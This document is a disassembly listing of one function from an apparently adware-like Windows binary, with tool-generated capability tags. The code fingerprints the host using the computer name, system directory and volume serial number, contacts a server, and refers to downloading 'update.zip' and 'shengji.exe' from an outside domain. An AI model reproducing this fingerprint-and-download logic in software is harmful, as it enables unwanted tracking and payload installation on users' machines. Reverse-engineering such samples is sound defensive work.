Function at 0x41c11e
Capabilities:
Get common file path
Get disk information
Get hostname

Disassembly:
push 0x5c0
mov eax, 0x443237
call 0x42b7b6
mov eax, dword [ebp + 8]
mov dword [ebp - 0x5a8], eax
lea eax, [ebp - 0x5a0]
push eax
call fcn.0040118e
xor edi, edi
push 7
mov dword [ebp - 4], edi
pop esi
xor eax, eax
mov dword [ebp - 0x414], esi
mov dword [ebp - 0x418], edi
mov word [ebp - 0x428], ax
push edi
lea ecx, [ebp - 0x4b8]
mov dword [ebp - 0x4a0], 0xf
call fcn.0040edbe
xor eax, eax
mov dword [ebp - 0x468], esi
mov dword [ebp - 0x46c], edi
mov word [ebp - 0x47c], ax
mov dword [ebp - 0x430], esi
mov dword [ebp - 0x434], edi
mov word [ebp - 0x444], ax
mov dword [ebp - 0x484], esi
mov dword [ebp - 0x488], edi
mov word [ebp - 0x498], ax
mov dword [ebp - 0x44c], esi
mov dword [ebp - 0x450], edi
mov word [ebp - 0x460], ax
mov byte [ebp - 4], 6
mov ebx, 0x104
lea eax, [ebp - 0x42c]
mov dword [ebp - 0x5b0], ebx
call fcn.0041ed45
lea eax, [ebp - 0x5b0]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x41c206
lea eax, [ebp - 0x218]
lea esi, [ebp - 0x42c]
call fcn.0040217e
lea ecx, [ebp - 0x4b8]
call fcn.00420b7a
push ebx
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push edi
push edi
push edi
xor eax, eax
push edi
mov word [ebp - 0x212], ax
lea eax, [ebp - 0x5ac]
push eax
push edi
push edi
lea eax, [ebp - 0x218]
push eax
mov dword [ebp - 0x5ac], edi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
lea ecx, [ebp - 0x464]
call fcn.00420c38
push str.mcid
lea ecx, [ebp - 0x480]
mov ebx, str.CLSIDF819119E_7610_4c84_9000_87B2016E19DBInformation
mov edi, SysReAllocString
call fcn.00425ded
lea ecx, [ebp - 0x448]
mov dword [esp], str.ccid
call fcn.00425ded
lea ecx, [ebp - 0x49c]
mov dword [esp], 0x44b900
call fcn.00425ded
pop ecx
push dword [ebp - 0x5a8]
lea ecx, [ebp - 0x4f0]
call fcn.0040fca0
push 0x44b908
lea eax, [ebp - 0x4f0]
push eax
mov byte [ebp - 4], 7
call fcn.0040fd9f
mov ebx, dword [ebp - 0x460]
push 8
pop eax
cmp dword [ebp - 0x44c], eax
jae 0x41c2cf
lea ebx, [ebp - 0x460]
cmp dword [ebp - 0x4a0], 0x10
mov edi, dword [ebp - 0x4b4]
jae 0x41c2e4
lea edi, [ebp - 0x4b4]
mov esi, dword [ebp - 0x428]
cmp dword [ebp - 0x414], eax
jae 0x41c2f8
lea esi, [ebp - 0x428]
mov edx, dword [ebp - 0x498]
cmp dword [ebp - 0x484], eax
jae 0x41c30c
lea edx, [ebp - 0x498]
mov ecx, dword [ebp - 0x444]
cmp dword [ebp - 0x430], eax
jae 0x41c320
lea ecx, [ebp - 0x444]
cmp dword [ebp - 0x468], eax
mov eax, dword [ebp - 0x47c]
jae 0x41c334
lea eax, [ebp - 0x47c]
push ebx
push dword [ebp - 0x5ac]
push edi
push esi
push edx
push ecx
push eax
push str._ls__ls__ls__ls__s__08x__ls
mov ecx, 0x400
lea edi, [ebp - 0x410]
call fcn.0041b871
mov eax, edi
push eax
lea esi, [ebp - 0x5a8]
call fcn.0041d232
mov esi, dword [eax]
xor ebx, ebx
add esp, 0x24
mov dword [eax], ebx
mov dword [ebp - 0x5b0], esi
mov byte [ebp - 4], 8
push dword [ebp - 0x5a8]
call fcn.004273e1
pop ecx
push esi
lea eax, [ebp - 0x4f0]
push eax
call fcn.0040fd9f
push esi
call fcn.004273e1
pop ecx
push 0xf
pop esi
push ebx
lea ecx, [ebp - 0x4d4]
mov dword [ebp - 0x4bc], esi
call fcn.0040edbe
push ebx
lea ecx, [ebp - 0x5cc]
mov dword [ebp - 0x5b4], esi
call fcn.0040edbe
lea eax, [ebp - 0x5cc]
push eax
lea eax, [ebp - 0x4f0]
push eax
lea eax, [ebp - 0x5a0]
push eax
lea eax, [ebp - 0x4d4]
mov byte [ebp - 4], 0xa
call fcn.0040126b
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x5cc]
mov esi, eax
mov byte [ebp - 4], 9
call fcn.0040ed44
cmp esi, 0xc8
jne 0x41c550
lea esi, [ebp - 0x4d4]
call fcn.0040102d
test al, al
je 0x41c550
xor eax, eax
lea esi, [ebp - 0x528]
mov dword [ebp - 0x52c], 7
mov dword [ebp - 0x530], ebx
mov word [ebp - 0x540], ax
call fcn.0040ed8f
xor eax, eax
mov dword [ebp - 0x4f4], 7
mov dword [ebp - 0x4f8], ebx
mov word [ebp - 0x508], ax
mov byte [ebp - 4], 0xb
mov eax, str.SoftwareES_ComputingInformation
lea esi, [ebp - 0x544]
mov dword [ebp - 0x548], VariantClear
call fcn.0040217e
push str.http:__cp.98yyw.com_ad_shengji_update.zip
lea ecx, [ebp - 0x528]
call fcn.0040ea9a
mov eax, str.shengji.exe
lea esi, [ebp - 0x50c]
call fcn.0040217e
lea eax, [ebp - 0x548]
push eax
call fcn.00426725
pop ecx
lea ecx, [ebp - 0x4d4]
call fcn.004266a9
push ebx
push edi
call fcn.004021f4
push ebx
push edi
lea ecx, [ebp - 0x528]
call fcn.0040ed44
push ebx
push edi
lea esi, [ebp - 0x544]
call fcn.004021f4
mov byte [ebp - 0x5a1], 1
push ebx
push edi
lea ecx, [ebp - 0x4d4]
call fcn.0040ed44
push ebx
push edi
lea ecx, [ebp - 0x4f0]
call fcn.0040ed44
push ebx
push edi
lea esi, [ebp - 0x464]
call fcn.004021f4
push ebx
push edi
lea esi, [ebp - 0x49c]
call fcn.004021f4
push ebx
push edi
lea esi, [ebp - 0x448]
call fcn.004021f4
push ebx
push edi
lea esi, [ebp - 0x480]
call fcn.004021f4
push ebx
push edi
lea ecx, [ebp - 0x4b8]
call fcn.0040ed44
push ebx
push edi
lea esi, [ebp - 0x42c]
call fcn.004021f4
lea esi, [ebp - 0x5a0]
call fcn.00401236
mov al, byte [ebp - 0x5a1]
call 0x42b839
ret
mov byte [ebp - 0x5a1], bl
jmp 0x41c4d1